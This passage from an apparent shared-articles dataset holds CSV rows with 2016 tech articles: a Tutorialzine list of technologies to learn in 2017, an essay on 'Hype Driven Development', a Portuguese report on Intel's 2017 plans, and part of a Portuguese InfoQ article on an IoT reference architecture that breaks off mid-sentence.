a vast community creating every kind of module imaginable. Some frameworks that you may like to look into: Express , Koa , Next , Nodal . PHP is a web language first and foremost, and has a large number of web frameworks to choose from. Thanks to its excellent documentation and futures, Laravel has formed an active community around it. Zend Framework released version 3 which marks a great upgrade for this business oriented framework. Symfony also saw a lot of new releases this year, making it an even better choice as a full stack solution. Python has its own full stack/minimal framework combo in the form of Django and Flask . Django 1.10 was released in August introducing full text search for Postgres and an overhauled middleware layer. For the enthusiasts there is also Phoenix , which is written in Elixir and attempts to be a feature complete alternative to Rails with superior performance. If Elixir is one of the languages you would like to learn in 2017, give Phoenix a try. Learn one of these: A full stack backend framework, a micro framework. Databases MySQL 8.0 is going to be the next major release of the database. It is expected sometime in 2017 and it will bring a lot of improvements to the system. MySQL is still the most popular database management system and the entire industry benefits from these new releases. PostgreSQL 9.6 was released in September. It brought better full text search and sped up the database system with parallel queries and more efficient replication, aggregation, indexing and sorting. Postgres is used for massive, terabyte scale datasets, as well as for busy web apps, and these optimizations are welcome. For NoSQL fans, we can recommend CouchDB . It is a fast and scalable JSON storage system which exposes a REST-ful HTTP API. The database is easy to use and offers great performance. PouchDB is a spiritual counterpart to CouchDB that works entirely in the browser and can sync with Couch. This allows you to use Pouch in an offline ready web app, and get automatic syncing once internet connectivity is available. Redis is our favorite key value store. It is small, fast and versatile. You can use it as a smart memcache alternative, as a NoSQL data store or a process messaging and synchronization channel. It offers a large number of data structures to choose from, and the upcoming 4.0 release will have a module system and improved replication. Learn one of these: MySQL, Postgres, CouchDB, Redis. Tools Yarn is an alternative package manager for Node.js which is developed by Facebook. It is an upgrade over the npm command line tool and provides faster installs, better security and deterministic builds. It still uses the npm package registry as its backend, so you have access to the same incredible ecosystem of JavaScript modules. Yarn is compatible with the package.json format that npm uses, and is just a quick install away. The two most popular open source code editors - Visual Studio Code and Atom have seen an incredible amount of innovation in the past 12 months. Both of these projects are built using web technologies and have attracted huge communities of fans. The editors have plugins available which bring syntax checking, linting and refactoring tools for a large number of languages. Git is the most popular source code version control system out there. It is serverless and you can turn any folder on your computer into a repository. If you wish to share code, you have many options like GitLab , Bitbucket and Github , to name a few. For 2017 we suggest that you familiarize yourself with the git command line , as it will come in handy more times than you think. Desktop applications are not dead yet. Even though web apps are becoming more and more capable, sometimes you need powerful capabilities and APIs that are simply not available to the web platform. With tools like Electron and NW.js you can write desktop applications by using web technologies. You get full access to the operating system and the breadth of modules available to npm. To learn more about these tools, read our tutorials about Electron and NW.js . A recent trend in software team organization is to have developers who are in charge of their own software deployment. Also called DevOps, this leads to quicker releases and faster fixes of issues in production. Developers with operations experience are highly valued by companies, so familiarity with the technologies that enable it is going to be a huge plus from now on. Some of the tools that we recommend are Ansible and Docker . Experience with the Linux command line and basic system administration skills will also serve you well. Try out one or more of these: Yarn, Git, Visual Studio Code, Electron, Ansible, Docker. Tech The cloud has won over the entire software industry, with large companies closing down their datacenters and moving their entire infrastructure there. The three main platforms are AWS , Google Cloud and Azure . All three have powerful, ever expanding feature sets, including virtual machines, hosted databases, machine learning services and more. Prices are going down rapidly, and the cloud is within reach of small companies and individual developers. For 2017, it would be a good learning experience to deploy a side project to one of these providers. Artificial Intelligence was the buzzword of 2016. Speech recognition and image classification are only two of the user facing applications of the technology, with machines reaching and even surpassing human level performance. There are a lot of startups that apply AI and Machine Learning to new domains. And a lot of open source projects were released like Google's Tensor Flow and Microsoft's Cognitive Toolkit . Machine Learning is a very math-heavy topic, and for those just starting out there are comprehensive online courses available. Virtual Reality (VR) and Augmented Reality (AR) have been around for a while, but finally the technology is mature enough to offer a compelling experience. Facebook ( Oculus Rift ), Google ( Daydream ) and Microsoft ( Windows Holographic ) all have virtual reality platforms that welcome third party developers. VR headsets still face challenges like eliminating nausea and offering compelling use cases outside of gaming, but they are getting there. Learn one of these: Cloud deployment, a Machine Learning library, VR Development. by Martin Angelov Martin is a web developer with an eye for design from Bulgaria. He founded Tutorialzine in 2009 and it still is his favorite side project.",en
1481544116,CONTENT SHARED,-3020916840917845519,801895594717772308,-5831772257995241402,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",MG,BR,HTML,https://blog.daftcode.pl/hype-driven-development-3469fc2e9b22?gi=227fe4fcd5a1,Hype Driven Development,"Software development teams often make decisions about software architecture or technological stack based on inaccurate opinions, social media, and in general on what is considered to be ""hot"", rather than solid research and any serious consideration of expected impact on their projects. I call this trend Hype Driven Development, perceive it harmful and advocate for a more professional approach I call ""Solid Software Engineering"". Learn more about how it works and find out what you can do instead. New technology - new hope Have you seen it? A team picking newest, hottest technology to apply in the project. Someone reads a blog post, it's trending on Twitter and we just came back from a conference where there was a great talk about it. Soon after, the team starts using this new shiny technology (or software architecture design paradigm), but instead of going faster (as promised) and building a better product they get into trouble. They slow down, get demotivated, have problems delivering next working version to production. Some teams even keep fixing bugs instead of delivering new features. They need 'just a few more days' to sort it all out. Hype Driven Development Hype Driven Development (HDD) has many flavors and touches your project in many different ways: Reddit driven development  - when a team or individual decide on technology/architecture/design based on what popular blogger wrote or what is hot on reddit, hackernews, blogs twitter, facebook, GitHub or other social media. Conference driven development  - watch carefully what happens after people are back from conference. People get inspired. And that's a two-edged sword. Starting to use newest hottest lib/framework/architecture paradigm without enough research might be a highway to hell. Loudest guy driven decisions  - is when one guy is talking all the time about this new framework/lib/tech's that he has no experience with, but talks about it all the time and finally the team decides to use it. Gem/lib/plugin driven development  - a specially strong in Ruby On Rails community, where occasionally I can see a Gemfile so long that the only thing longer is the time it takes to load the app. It comes from the idea that every problem in rails should be solved with a gem. Sometimes it would take a couple of lines to build solution ourselves. But we're just solving problems by adding libs, plugins, gems or frameworks. I would also mention here behavior popular among hype driven developers -  Stack Overflow driven development  - when developers copy-paste solutions from Stackoverflow (or in general from the internet) without really understanding them. HDD is how teams bring doom on themselves The problem with hype is that it easily leads to bad decisions. Both bad architectural decisions and technological stack decisions often hunt a team months or even years later . In worst case they may lead to another very problematic situation in software engineering: The Big Rewrite . Which almost never works out. The root of all evil seems to be social media  - where new ideas spread much faster than they get tested.Muchfaster than people are able to understand their pros and cons. The Anatomy of Hype Most hypes have similar structure. Here it goes: Step 1: Real problem and solution They start in some company with a problem. A team within some company decides that solution to the problem is beyond the current technological stack, process or architecture. The company creates a new framework, library or paradigm and soon the problem is solved. Step 2: Announcement, buzz and keywords The team is excited to show their work to the rest of the world and soon they write blog posts and do talks on conferences. The problem oftentimes is non-trivial, so they are proud to present the impressive results of a non-trivial solution. People get excited about the new technology. The only problem is not everybody who gets excited is able to fully understand what the exact problem was and all the details of the solution. It was a non-trivial problem with a non-trivial solution after all. Takes more than a tweet, chit-chat or even blog post to explain. With communication tools like social media, blog posts and conference lightning talks the message gets blurred along the way. Step 3: Mania starts All shades of hype driven developers read blog posts and attend conferences. Soon the teams all over the world start using the new technology. Due to the blurred message - some of them make hasty decision to use framework even though it does not solve any of their actual problems. Yet the team does have expectation that this new technology will help. Step 4: Disappointment As the sprints go by, the technology does not improve the team's life as much as people hoped, but brings a lot of extra work. There's a lot of rewriting the code and extra learning for the team. Teams slow down, management gets pissed off. People feel cheated. Step 5: Realisation! Finally the team does retrospection and realizes what are the tradeoffs of the new technology and for what purpose it would be more relevant. They get wiser... till the next hype shows up. Examples of Hype: Let's examine some examples of hypes and see how those went through. Example 1: React.js Step 1: Facebook has a problem - advanced one page apps like Facebook itselves have, so many state changing events that it is hard to keep track what's going on and keep the application state consistent. Step 2: Facebook promotes new paradigm with buzzwords: functional, virtual DOM, components. Step 3: Mania: Facebook has created the front-end framework of the future! Let's write everything in react from now on! Step 4: Wait there is a lot of work, but no quick return on investment! Step 5: React is great for advanced one page app with lots of real-time notifications, but does not necessarily pay off for simpler applications. Example 2: TDD is dead by DHH Step 1: David Heinemeier Hansson (DHH, creator of Ruby on Rails framework) realises that it is hard to do TDD with Rails as this framework doesn't have architecture supporting good OOP. Makes a pragmatic choice - not to write tests upfront. Step 2: Hype starts with DHH blog post and conference talk . Hype keywords: TDD is DEAD. Step 3: Let's skip tests! Our Guru says so. We didn't write them anyway. Now we're at least not pretending. We're finally honest. Step 4: Wait! Even fewer things work now than before. We've built a buggy code. Step 5: ""TDD is not dead or alive. TDD is subject to tradeoffs, including risk of API changes, skill of practitioner and existing design"" - Kent Beck. Example 3: Microservices Step 1: Big monolith application scales hard. There is a point when we can break them down into services. It will be easier to scale in terms of req/sec and easier to scale across multiple teams. Step 2: Hype keywords: scalability, loose coupling, monolith. Step 3: Let's rewrite all to services! We have a 'spaghetti code' because we have a monolith architecture! We need to rewrite everything to microservices! Step 4: Shit! It is now way slower to develop the app, difficult to deploy and we spend a lot of time tracking bugs across multiple systems. Step 5: Microservices require a lot of devops skills in the team and with right investment might pay off as a way to scale the system and team. Before you reach serious scale issues it's an overinvestment. Microservices are extracted not written. You must be this tall to use microservices. Example 4: NoSQL Step 1: SQL databases have problems with high loads and unstructured data. Teams around the world start developing new generation of databases. Step 2: Hype keywords: Scalability, BigData, High Performance. Step 3: Our database is too slow and not big enough! We need NoSql! Step 4: We need to join tables? That is a no go. Simple SQL operations are becoming increasingly challenging. Development is slow and our core problems are not solved. Step 5: NoSql are tools to solve very specific problems (either extremely high volumes of data, unstructured data or very high load). SQL is actually a great tool and handles high load and huge data volumes well if used skillfully. The case for NoSql is still pretty rare in 2016. Example 5: Elixir and Phoenix (or put your favorite lang/framework pair here) Step 1: Web frameworks like Ruby On Rails don't deal well with high performance applications, distributed applications and websockets. Step 2: Hype keywords: Scalability, High Performance, Distributed, Fault-tolerant. Step 3: Oh my good, our application is slow and our chat is not scalable! Step 4: Wow, learning functional programming and distributed approach is not that easy. We are now really slow. Step 5: Elixir and Phoenix is great framework, but takes significant effort to learn. It will pay back in a long run if you need specifically high performance app. The list goes on and on: In this crowded space of computer engineering we have a lot of areas where hypes are common. In JavaScript world new frameworks are born everyday. Node.js (keywords: event programming), reactive programming, Meteor.js (keywords: shared state), front-end MVC, React.js. You name it. In software engineering new architectures are born: Domain Driven Development, Hexagon, DCI. What is your favorite hype?",en
1481545166,CONTENT SHARED,-2405892683303291957,3609194402293569455,4506332254516554808,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://startupi.com.br/2016/12/5g-esta-para-iot-como-4g-esteve-para-o-smartphone-saiba-as-apostas-da-intel-para-2017/,"""5G está para IoT como 4G esteve para o Smartphone"", saiba as apostas da Intel para 2017","O STARTUPI esteve presente hoje no almoço de fim de ano da Intel, que teve a participação de diversos representantes da companhia e Maurício Ruiz, que assumiu o cargo de Diretor geral da Intel Brasil em setembro deste ano. O executivo tem 17 anos de experiência na Intel, em que atuou diversas áreas, desde engenharia e arquitetura de soluções até o comando do segmento corporativo da empresa no País. Durante o almoço, Maurício contou os planos da Intel para 2017 e destacou quatro áreas de importância para a companhia em questão de tecnologia: Inteligência artificial, automóveis inteligentes, 5G e realidade combinada. Ele destaca que a Intel está se transformando, assim como o mundo e os costumes da população. Dentro da estratégia da companhia existe um foco muito grande na parte ""das coisas"" e devices. ""Os consumidores estão cada vez mais interagindo com os devices e produzindo dados, estamos indo para a quarta revolução digital e a Intel quer ter uma presença marcante nesse mercado"", comenta o diretor. Para isso, a companhia está trabalhando pesado em cima do 5G, que representa uma mudança significativa para a indústria e requer integração sem precedentes de conectividade, inteligência computacional e recursos em nuvem. Outra área de interesse da Intel é a parte de Cloud e Data Center. A companhia acredita que o Cloud Computing é a maior força que está empurrando o ciclo da democratização da tecnologia e a redução dos custos para as novas experimentações. ""Acreditamos que essas tecnologias vão parar fora dos ambientes privados. Vai existir a migração para o Cloud, mas também existirão ambientes para otimizar o Cloud em um local privado. Uma pesquisa recente da companhia aponta que uma em cada três PMEs brasileiras já começou o processo de adoção de serviços na nuvem. E os Pcs? ""Dentro da Intel falamos que estamos indo além do Pc, hoje o Pc está em diversos dispositivos, por isso estamos expandindo a nossa cobertura para outras áreas"", explica Maurício. E falando em devices, dispositivos, podemos citar o exemplo dos óculos de sol inteligente criado em parceria com Oakley que traz um treinador virtual integrado. O dispositivo, que se chama Radar Pace, consegue interpretar dados em tempo real e cria um programa de treinamento personalizado para o usuário. Os óculos possuem um rádio, conexão Bluetooth, um acelerômetro, um giroscópio, um sensor de pressão, um sensor de umidade, três microfones, fones de ouvido e um processador integrado. O aparelho consegue ainda se conectar a produtos de terceiros para rastrear as atividades do usuário, como monitores de frequência cardíaca e clipes no sapato. Maurício também comentou que a Intel fechou uma parceria com a New Balance e que em breve, poderemos ver novos produtos e tecnologias no mercado. Maurício ressaltou que para realizar todo esse trabalho, a companhia está aprendendo e para isso, muitas vezes, é preciso fazer parcerias ou até mesmo comprar algumas empresas para acelerar esse processo de criação. A companhia já adquiriu a FreeD, empresa especializada em congelar imagens digitais para que você possa escolher de qual ângulo deseja ver a imagem. Para quem está ligado no futebol, a tecnologia foi utilizada na última partida entre o Real Madrid e Barcelona. Quem viu? No segmento de Realidade Virtual, eles compraram a Voke, que produz óculos de VR e a Movidius, que é um conjunto de software, algoritmos e processadores, a compra foi feita pois querem transferir a experiência de realidade virtual com processamento na ponta, sem precisar ir para o servidor o tempo todo. Na parte de drones, A Intel adquiriu a Ascending Technologies, e fez uma ação incrível com 500 drones voando ao mesmo tempo, que pode ser vista no vídeo abaixo. ""Olhamos essas empresa e pensamos em diversas utilidades para essas tecnologia, por isso a compramos"", destaca Maurício citando o exemplo dos drones, que podem ser utilizados em diversos casos, como auxiliando bombeiros em busca de pessoas. A Intel também está apostando forte nos carro autônomos. Esse ano eles fecharam uma parceria com a BMW e Mobileye para desenvolver soluções e sistemas inovadores para direção altamente automatizada e totalmente autônoma para levar estas tecnologias à produção em série até 2021. ""Um carro irá se tornar mais um device, produzindo milhares de dados, ele terá que tomar decisões por si próprio, então Inteligência Artificial terá que rolar ali dentro, por isso estamos apostando nesse mercado."" Maurício conta que os PCs sofreram muito com a crise econômica, mas espera que o mercado se estabilize no próximo ano. O foco da companhia são as inovações 2 em 1, novos formatos e além disso, a companhia deve vir forte na área de games no próximo ano. Ele conta que foi criado um grupo dentro da Intel que está trabalhando no conceito de Design Thinking, e brinca que nenhum dos diretores pode entrar na sala. O curioso é que a companhia está trabalhando diretamente com gamers para entender realmente esse mercado. ""Não somos gamers, então precisamos de quem entende desse mundo e sabe jogar"", destaca. Mas onde serão usadas todas essas tecnologias e devices? Nas Cidades Inteligentes, ele conta que já estão conversando com o Governo, em diversos níveis, várias áreas, e uma delas, é para a melhoria de processos e servições para os cidadãos. Iniciativas da Intel para o fomento da inovação no Brasil Intel Innovation Center no Rio de Janeiro: apoio a startups, universidades, centros de pesquisa. Programa de pesquisas em segurança para dispositivos IoT: pesquisa made in Brazil com UNICAMP, UNB, UFMG, PUC-PR, UFPR, UTFPR. Parceria com a TIM: Ajudando a TIM a virtualizar toda a sua infraestrutura de rede. Big Data as a Service: Primeiro serviço de Big Data as a service do Brasil em parceria com a Locaweb. Expectativas para 2017: Mercado de TI no Brasil: crescimento de 2,9% em gastos corporativos com TI (Gartner); aumento da procura por serviços de TI: crescimento de 6,3% (Gartner); mercado de soluções como serviços deve saltar 19.8% em 2017. PCs: Para 2017, a IDC prevê crescimento de 5%. Servers: Para 2017, previsão de crescimento é flat. Enterprise SSD: Crescimento de 4%em 2016e 5% em 2017 (IDC). Novos mercados: drones, realidade virtual e wearables irão crescer exponencialmente nos próximos anos.",pt
1481553137,CONTENT SHARED,-4358357193736101128,3609194402293569455,4506332254516554808,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://www.infoq.com/br/articles/internet-of-things-reference-architecture,Uma arquitetura de referência para a Internet das Coisas - Parte 1,"Esse é o primeiro de dois artigos onde tentamos trabalhar a partir de um nível abstrato de arquiteturas de referência de Internet das Coisas (ou IdC) em direção a uma arquitetura e implementação concreta para casos de uso selecionados. Esse primeiro artigo cobre a definição de uma arquitetura mais concreta e abrangente, e o segundo artigo irá aplicar essa arquitetura a casos de uso reais. Estamos próximos de um novo mundo interconectado. Sob o nome ""Internet das coisas"" - IoT, em inglês Internet of Things - ou ""Indústria 4.0"", o qual empresas estão desenvolvendo uma nova rede de objetos interligados para nossa vida cotidiana. O objetivo da Internet das Coisas é de interligar objetos, a fim de trocar informações para cumprir tarefas para seus usuários. Para exemplificar, soluções de geladeiras que se comunicam não só com o seu smartphone, mas também com os servidores do fabricante ou com uma usina de energia em breve se tornarão realidade. As empresas por trás do crescimento dessa nova tecnologia e comunicação vêm de todas as indústrias - não só os grandes nomes de big data, como Google, Microsoft ou Apple, estão indo nessa direção, mas também grandes companhias de seguros, os produtores de periféricos e fabricantes de automóveis estão promovendo a Internet das Coisas.. A chave para permitir a comunicação entre todas estas diversas ""coisas"" é a padronização. Estabelecer um padrão, no entanto, é fácil de ser reivindicado num ambiente de pesquisa, mas difícil de ser alcançado no mundo real. Arquiteturas de referência são de grande ajuda para a padronização, já que definem diretrizes que podem ser usadas quando se planeja a implementação de um sistema utilizando a Internet das Coisas. A fim de alcançar uma padronização é necessário criar arquiteturas de referência de alto nível como o definido pela IOT-A . No entanto, arquiteturas de referência de alto nível são difíceis de entender por serem muito abstratas. Se você está em um trabalho de consultoria, verá que é impossível mostrar essas arquiteturas de referência de alto nível para clientes reais na indústria. Gostaríamos de ir além e fornecer diretrizes sobre como fundamentar uma arquitetura mais concreta a partir da arquitetura de referência IOT-A. A ideia é pegar a arquitetura de referência IOT-A e criar a partir dela uma arquitetura menos abstrata que poderia até mesmo ser colocada em um ""Resumo Executivo"" - que é o que está acontecendo neste artigo. Além disso, selecionamos alguns casos de uso e instanciamos nossa arquitetura de referência a fim de mostrar o ciclo de vida completo até a implementação de um sistema real dentro da IoT - que será apresentado em um artigo subsequente. Primeiramente, vamos definir alguns termos: Coisa: é um objeto do nosso dia a dia colocado em nosso ambiente diário. Uma coisa pode ser um carro, uma geladeira, mas também pode ser abstraído a uma casa ou uma cidade, dependendo do caso de uso; Dispositivo: um sensor, atuador ou tag. Geralmente o dispositivo é parte de uma coisa. A coisa processa informações de um contexto e informa sobre os dados coletados para outras coisas. Além disso, a coisa pode passar ações para atuadores. Há uma certa quantidade de ""componentes inevitáveis da Internet das Coisas"" que é possível encontrar (de uma forma ou de outra) em cada uma das arquiteturas de referência da Internet das Coisas (como por exemplo, em Brillo, no Google , ou na IOT-A ou Z-Wave ). Entre elas, podemos destacar: Componentes de interoperabilidade e integração em relação às coisas e dispositivos; Técnicas de computação orientada a contextos, como a definição de um contexto e o modelo de ação, bem como as definições de objetivos por motores de regras; Diretrizes de segurança que variam ao longo da arquitetura completa. De certa forma as arquiteturas atuais para a Internet das Coisas podem ser vistas como uma versão em maior escala do context toolkit de Anind K. Dey. O context toolkit foi projetado em um nível de aplicação, já que foi projetado para Sistemas de Informação Geográfica (GIS, na sigla em inglês). Na Internet das Coisas temos que estender o context toolkit para a intercomunicação entre coisas. No entanto, a idéia básica de objetivo, informações de contexto e ações resultantes permanece no mundo da Internet das Coisas. No mundo da Internet das coisas nós não só definimos a meta no nível do usuário (por aplicação), mas as próprias coisas podem trabalhar em certas metas sem incluir ativamente do usuário. No final, os dispositivos ainda servem o usuário, mas eles agem de forma autónoma no fundo - que é exatamente a idéia de computação ubíqua . De forma a obter uma melhor imagem do termo ""contexto"" vamos primeiro introduzir nosso modelo de contexto e, em seguida, saltar para a introdução de nossa arquitetura de referência. Contexto define o estado de um ambiente (geralmente o ambiente do usuário) num determinado lugar e em um determinado momento. O modelo de contexto geralmente faz a distinção entre os elementos do contexto e da situação de contexto. Os elementos do contexto definem contextos específicos, geralmente no nível do dispositivo. Um elemento de contexto pode ser por exemplo um valor de temperatura num determinado momento e local. Localização e tempo são elementos de contexto em si, mas eles desempenham um papel especial já que são necessários para localizar valores de sensores no espaço e no tempo. Afinal de contas, sem saber onde e quando a temperatura foi medida a temperatura não ajuda muito para a tomada de conclusões. Certos elementos de contexto podem ser padronizados de imediato (por exemplo, um valor de temperatura já é definido por um valor double e uma unidade de medição, tais como graus Celsius ou Fahrenheit). Outros elementos de contexto são específicos de aplicação (""específico da coisa""), e não podem simplesmente ser padronizados imediatamente. Estes elementos são definidos como contexto ""de alto nível"" e requerem um mecanismo para defini-los para cada coisa. A situação de contexto é uma agregação de elementos de contexto. A situação contexto é, portanto, uma visão sobre o ambiente em um determinado local em um determinado momento. Como mencionado anteriormente, determinados elementos de contexto podem ser padronizados imediatamente (porque eles já são padronizados) mas outros não (porque tratam de caso de usos específicos). De forma a permitir que uma coisa saiba se ela pode realmente se comunicar com outra coisa, um certo padrão de comunicação deve ser acordado. Para este fim, apresentamos o esquema situação de contexto. O esquema situação de contexto define o que a coisa é capaz de fazer dentro de um contexto. Você pode avançar o modelo de contexto ainda mais e definir certas ""funcionalidades padrão"" que devem ser introduzidas por todos e incluir funcionalidades adicionais que serão definidas para cada coisa, por exemplo, seguindo o padrão Z-Wave . De forma similar ao modelo de contexto, também é possível definir um modelo de ação que defina o que as coisas podem ativar (por exemplo, abrir uma janela, tirar uma foto). Ações só podem ser ativadas com a combinação de informação de contexto e com objetivos definidos. Objetivos são geralmente descritos como regras de um motor de regras (por exemplo, se a temperatura for > 25º ENTÃO abra a janela). Sempre que uma situação de contexto é dado a uma coisa, a coisa avalia se uma ação deve ser acionada de acordo com seus objetivos definidos (ou seja, regras). Dependendo do caso de uso do modelo de contexto, ação e o objetivo, pode ser mais ou menos complexo para uma determinada coisa. Algumas coisas só podem consumir ações e não produzirão informações de contexto, enquanto outros vão publicar informações de contexto (ou mesmo objetivos) para serem consumidos por outras coisas. Agora que entendemos o papel da computação contextualizada na âmbito da Internet das Coisas, podemos ir direto para a definição da nossa Arquitetura de Referência em Camadas da Internet das Coisas, ou ""RILA"" (da sigla em inglês, "" Reference IoT Layered Architecture ""). No contexto de IoC, a RILA atua entre coisas, dispositivos e o usuário, como mostrado na figura abaixo. A RILA consiste em 6 camadas. Além dessas camadas existem duas ""camadas transversais"" que afetam todas as outras camadas, ou seja, ""Segurança"" e ""Gestão"". Vamos analisar cada camada da RILA e dentro de cada componente. Iniciaremos a partir da camada inferior da pilha (camada ""Integração de dispositivos"") e subimos em direção ao topo. A camada de integração de dispositivo conecta todos os diferentes tipos de dispositivos e consome as medições do dispositivo, bem como comunica ações (no nível do dispositivo). Esta camada pode ser vista como um tradutor que fala muitas línguas. A saída dos sensores e tags geradas dependem do protocolo o qual implementam. A entrada dos atuadores também são definidas pelo protocolo implementado. A camada de integração de dispositivo é formada por três componentes principais. O componente de nível mais baixo é o componente driver que se comunica com os diferentes sensores, tags e atuadores de baixo nível, informações específicas do fornecedor e protocolos de comunicação. Ele contém instâncias do driver para cada tipo de dispositivo de nível baixo conhecido para o sistema. O próximo componente é nomeado de componente de descoberta de dispositivos . Este componente pode ser acionado por dois eventos, uma vindo da camada de gestão do dispositivo, que diz a este componente para adicionar um novo dispositivo e por outro vindo do componente driver, que notifica este componente no caso de um novo dispositivo ser adicionado. Da mesma forma o componente de descoberta de dispositivos também lida com cancelamento do registro de dispositivos. O último componente é o de comunicação do dispositivo. É a ponte entre a camada de gerenciamento de dispositivos e o driver . Este componente decide qual o driver é chamado quando a camada de gerenciamento de dispositivos trata um dispositivo. O gerenciamento de dispositivos é responsável por tomar registros de dispositivos e medições dos sensores da camada de integração de dispositivos. Além disso, comunica mudanças de status para os atuadores da camada de integração de dispositivos. A camada de integração de dispositivos, em seguida, apenas confirma que a mudança de status (ou seja, a ação) está em conformidade com o atuador e, em seguida, traduz a alteração de status para o atuador. A camada de gerenciamento de dispositivo controla os dispositivos de uma forma que ela saiba quais dispositivos estão conectados ao sistema. Cada modificação no registo de um dispositivo, bem como os dados de medição recebidos precisam ser comunicados da camada de integração de dispositivo para a camada de gestão do dispositivo, de modo que a informação possa ser atualizada e armazenada. Dessa forma, a camada de integração de dispositivos gere o registo do dispositivo (que inclui o enriquecimento dos metadados, como por exemplo informações sobre qual unidade ou frequência um sensor está enviando dados) e a comunicação do dispositivo (capture as medições atuais e mova para a gestão de dados, bem como passe as ações adiante para o atuador de dispositivos). A gestão de dados pode ser vista como uma base de dados central que armazena todas as informações de uma ""coisa"", mas esta é apenas uma das possíveis implementações. Para coisas maiores dentro do sistema (por exemplo, um sistema de monitoramento de ciclo de vida de dispositivo que colhe de dados de outras coisas) o gerenciamento de dados pode ser um data warehouse ou até mesmo um farm de dados completo. A aplicação da camada de gerenciamento de dados depende fortemente do caso de uso específico para a coisa o qual se está trabalhando. O gerenciamento de contexto define a lógica de negócios central dentro da RILA e é responsável por seis tarefas: Definir os objetivos da coisa; Consome as situações de contexto de outras coisas; Produz a (própria) situação de contexto da coisa; Avalia a (própria) situação de contexto em direção ao objetivo; Dispara ações que ajudem a cumprir o objetivo de acordo com as regras avaliadas; Publica situações de contexto para outras coisas. De acordo com estas tarefas podemos dividir a gestão de contexto em oito componentes, como mostrado na figura a seguir. Motor de Regras / Inteligência Artificial (IA) : Define e gerencia todas as regras necessárias para a avaliação de contexto. Isso inclui o objetivo (que é basicamente como um conjunto de regras), bem como as regras para criar a situação de contexto e as ações. Módulo de Integração de Situação de Contexto : escuta situações de contexto de outras coisas e integra as situações de contexto recebidas. Módulo de Integração de Ação : ações recebidas de outras coisas são avaliadas e repassadas à camada de gerenciamento de dispositivos por esse componente. As regras precisam ser consideradas pois definem em quais situações uma ação recebida de outra coisa pode ser transmitida para disparar um atuador. Módulo Criador de Situação de Contexto : coleta dados do sistema e constrói as situações de contexto. Isto também pode ser conduzido por regras. Módulo Criador de Ações : similar ao Módulo Criador de Situação de Contexto, objetos de ação tem que ser criados quando acionados durante a avaliação de regras. Módulo Publicador de Situação de Contexto : fornece situações de contexto para a camada de integração de coisas. De acordo com o nível de sofisticação da implementação, o publicador de situação de contexto pode fornecer um conjunto de situações de contexto para coisas diferentes que são assinantes dos eventos ou uma situação de contexto para todos. O Módulo Publicador de Situação de Contexto tem que cuidar de níveis de permissão de dados para outras coisas. Apenas outras coisas confiáveis devem receber informações de contexto selecionadas. Além disso, este módulo deve se encarregar de definir os esquemas de situação de contexto que são comunicados a outras coisas que desejam se inscrever para receber seus eventos. O esquema é usado para avaliar se uma coisa é capaz de se comunicar com outra coisa. Módulo de Publicação de Ações : similar ao módulo publicador de situação de contexto este módulo é responsável por comunicar ações para a camada de integração de coisas para ser comunicado a outras coisas. Além disso, os esquemas de ação são geridos por este componente. Módulo de Avaliação de Contexto : avalia as regras usando a situação de contexto (atual) e dispara ações que são comunicadas para os dispositivos ou para o Módulo Criador de Ação. O Módulo Criador de Ação, por sua vez, passa as ações criadas para a Publicador de Ações que comunica as ações para outras coisas. Uma forma de avaliar regras de forma simples é criar árvores de decisão a partir das regras definidas pelo mecanismo de regras. A arquitetura concreta e a complexidade da funcionalidade oferecida dependem fortemente do caso de uso para a coisa em desenvolvimento. Especialmente o motor de regras e o componente de inteligência artificial podem não precisar ser muito sofisticados para as coisas menos inteligentes (por exemplo, um geladeira). No entanto, para coisas que coletam informações de contexto de outros sistemas estes componentes serão muito sofisticados. Um exemplo de maior sofisticação pode ser no uso em ciência de dados e técnicas de mineração dados. A Camada de Integração de Coisas é responsável por encontrar outras coisas e se comunicar com elas. Uma vez que duas coisas se encontram elas têm que passar por um mecanismo de registro. A Camada de Integração de Coisas precisa avaliar se é possível realizar a comunicação com a coisa que está chegando. Com esse intuito, a situação de contexto e/ou esquemas de ação tem que ser comparados. Estes são fornecidos pela Camada de Gestão de Contexto. Se o esquema de correspondência é avaliado de forma positiva, a coisa pode notificar a outra coisa sobre a nova situação de contexto ou criação de ação. As situações e ações de contexto a serem comunicadas a outras coisas são fornecidos pela camada de gerenciamento de contexto. O registro da coisa pode ser feita em um componente central ou pela própria coisa (por exemplo, a varredura de rede com auto-discovery ). A camada de integração de aplicativo conecta o usuário à coisa. Aplicativos que estão (diretamente) em cima da arquitetura RILA estão localizados aqui. A integração de aplicações pode ser vista como uma camada de serviço, ou até mesmo como um simples interface de usuário no topo da pilha. A implementação concreta da camada depende do caso de uso. Neste momento concluímos a explicação sobre as camadas. Agora vamos lembrar os desafios das camadas transversais e dar uma olhada em segurança. Quando construímos um sistema de Internet das Coisas temos de considerar a segurança em todas as camadas. As fontes de ataque de ataque precisam ser identificados a fim de mapear padrões de segurança adequados. As seguintes fontes de ataque podem ser identificados. Usuário: O usuário final é uma possível fonte de ataque, pois pode afetar o sistema seja de propósito ou sem o seu conhecimento. Um ataque comum deste tipo é um ataque de phishing, que tenta adquirir informações confidenciais da vítima. Interface Web: Se o aplicativo oferece uma interface web, então esta pode ser sujeita a ataques ""convencionais"", como injeção de SQL ou XSS. O OWASP (Open Web Application Security Project) criou uma lista dos 10 cenários de ataque mais provável contra sites. A Coisa : Dispositivos inteligentes se comunicam muitas vezes com um sistema externo por meio de um aplicativo, que se baseia em alguma forma de sistema operacional. As duas dependências principais são o próprio app que pode não oferecer mecanismos de segurança suficientes ou o sistema operacional que pode ser invadido ou infectado. Componentes de hardware de baixo nível: Quando consideramos componentes de hardware e a segurança que eles oferecem, devemos levar em consideração seu poder computacional. A dependência principal é representada por dispositivos de baixa potência que simplesmente não têm o poder de processamento necessário para fazer uma comunicação criptografada segura. Quando se trabalha com vários sensores, pode-se eliminar os valores discrepantes para obter uma imagem precisa, mas a segurança não pode ser alcançada. Se a exatidão dos dados fornecidos pelos sensores é essencial, então é necessário um hardware mais potente, aumentando o custo de aquisição por uma ordem de grandeza. Canais de comunicação : proteger o canal de comunicação depende do protocolo usado. Iremos discutir os protocolos relevantes para a Internet das 